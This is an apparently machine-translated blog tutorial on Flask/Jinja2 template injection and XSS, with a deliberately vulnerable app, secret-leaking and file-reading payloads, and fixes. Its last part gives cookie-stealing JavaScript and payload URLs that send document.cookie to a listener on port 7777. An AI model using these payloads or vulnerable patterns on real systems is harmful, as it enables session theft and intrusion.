Simple Understanding of Flask Jinja2 Server-side Template Injection (SSTI)

Keywords: Python xml

For the presentation layer, Flask uses the Jinga2 engine, which is easy to use and automatically escapes the contents of. html, htm, xml and. xhtml files. Flask allows HTML strings to be used to create templates in Python source code, and local thread objects are used inside Flask, so that objects are not passed between functions in the same request for thread safety.

Service-side template injection

The template engine provided in Flask framework may be exploited by numerous developers to introduce a service-side template injection vulnerability. If you are confused about this, you can see James Kettle's shared topic (PDF) at Black Hat Conference. In short, this vulnerability allows language/grammar to be injected into the template. Performing this input reproduction in the context of the server may result in arbitrary remote code execution (remote control device) depending on the context of the application.
Next, let's look at how to explore security issues using template string functionality, and think about the following code snippets:

from flask import Flask, request, render_template_string,render_template

app = Flask(__name__)
@app.route('/')
def hello_ssti():
    person = {'name':"world",'secret':"UGhldmJoZj8gYWl2ZnZoei5wYnovcG5lcnJlZg=="}
    if request.args.get('name'):
        person['name'] = request.args.get('name')
    template = '''<h2>Hello %s!</h2>''' % person['name']
    return render_template_string(template,person=person)
def get_user_file(f_name):
    with open(f_name) as f:
        return f.readlines()
app.jinja_env.globals['get_user_file'] = get_user_file

if __name__ == "__main__":
    app.run(debug=True)


Then run the program test template injection

We define a name parameter in get mode to transfer data.


Now let's test the template injection, wrap the data we want with {} using the template injection problem caused by the flask Jinga2 engine.

1. {{person.secret}}

In order to distinguish them intuitively, the key points are those in {}}.


From this we can see that the secret we set has leaked, and the key leak is a very dangerous thing. Although the code is not so ZZ in actual combat, it is dangerous if the key is leaked from the real environment.
We can also see a method in the code, the get_user_file method, which is even more powerful, by which local files can be included and read. Local File Inclusion through Templates (LFI)

Improper use of function methods can include reading local files, where tmp/secrets.txt and/etc/passwd files are read.
If you're a Flask developer, you probably already know the answer because of the use of string concatenation or substitution. Jinja2 uses brackets {} to surround environment variables in templates. By placing our output in these brackets, users can be prevented from entering data containing template syntax to execute in the context of the server.

Attempt to read the whole line at the appropriate location after repair:

template = '<h2>Hello {{ person.name }}!</h2>

By doing so, the threat of server-side template injection is reduced.

Cross site scripting

As mentioned above, Flask provides an automatic escape feature for some files.
tips:

1. Template can disable this feature
2. Template string non-public file extensions are not enabled by default

Try using a common XSS test string:

 <script>alert(/xss/)</script>

Template strings are not automatically escaped. To fix this problem, we can manually bypass the output.
Plus | e ensures feedback to users before filtering. So our final template string should look like this

template = '<h2>Hello {{ person.name | e }}!</h2>'

Not all applications use the on-the-fly template, so the more traditional cross-site scripting attacks are in static templates?

Consider the following functions:

def hello_xss():
    name = "world"
    template = 'hello.unsafe' # 'unsafe' file extension... totally legit.
    if request.args.get('name'):
        name = request.args.get('name')
    return render_template(template, name=name)

Note: Python code calls render_template in the template, which is not a file extension that escapes automatically. According to the code hello.unsafe in the template, we may get a cross-site scripting vulnerability. The following is the template code:

{% autoescape true %} 
<h2>Good</h2><p>
    Hello {{ name }}!
    I don't trust your input. I escaped it, just in case.</p>
    
  {% endautoescape %}
  
<h2>Bad</h2><p>
    I trust all data! How are you {{ name }}? 
</p>

Automatic escape module and expected normal operation; we do appropriate escape of the output. However, the second part allows payload injection to be executed in browsers.

The "Good" part uses the automatic escape function of the Jinga2 engine, and we can also use | e filtering. Here are the output filtered with | E in the "Bad" section

I trust all data! How are you {{ name|e }}?


The injection was found to be useless.

By the way, rebound cookie information here using the Reflect XSS listening port

@app.route('/get')          #Get cookie
def get_cookie():
    cookie = request.cookies.get('username')
    template = '''<h2> username: {{cookie}}</h2>'''
    return render_template_string(template,cookie=cookie)

@app.route('/cookie')            #View cookie
def cookie():
        resp = Response("saber's home")
        resp.set_cookie('username', 'saber')
        return resp

So we wrote a way to get cookie s to detect them.


You can now find cookie s, as can be seen through XSS queries

cookie.js

var image=new Image();
image.src='http://192.168.198.130:7777/?a='+document.cookie

payload:

http://192.168.198.130:5000/?name=<script src='http://192.168.198.130/cookie.js'></script>

So let's listen on port 7777 and see cookie information through the header.


Another way is to execute the contents of js directly at the parameters. There are too many ways of random response in the specific environment, mostly waf, so exp needs to be concise and executable./
payload

http://192.168.198.130:5000/?name=<script>var image=new Image();image.src="http://192.168.198.130:7777/?a='+document.cookie"</script>

or

http://192.168.198.130:5000/?name=<script>new Image().src="http://192.168.198.130:7777/?a='+document.cookie"</script>

In a real environment, document.cookie can only see its own cookie, so this method is a feasible and convenient way to get cookies from others.

Posted by don117 on Tue, 24 Sep 2019 00:48:28 -0700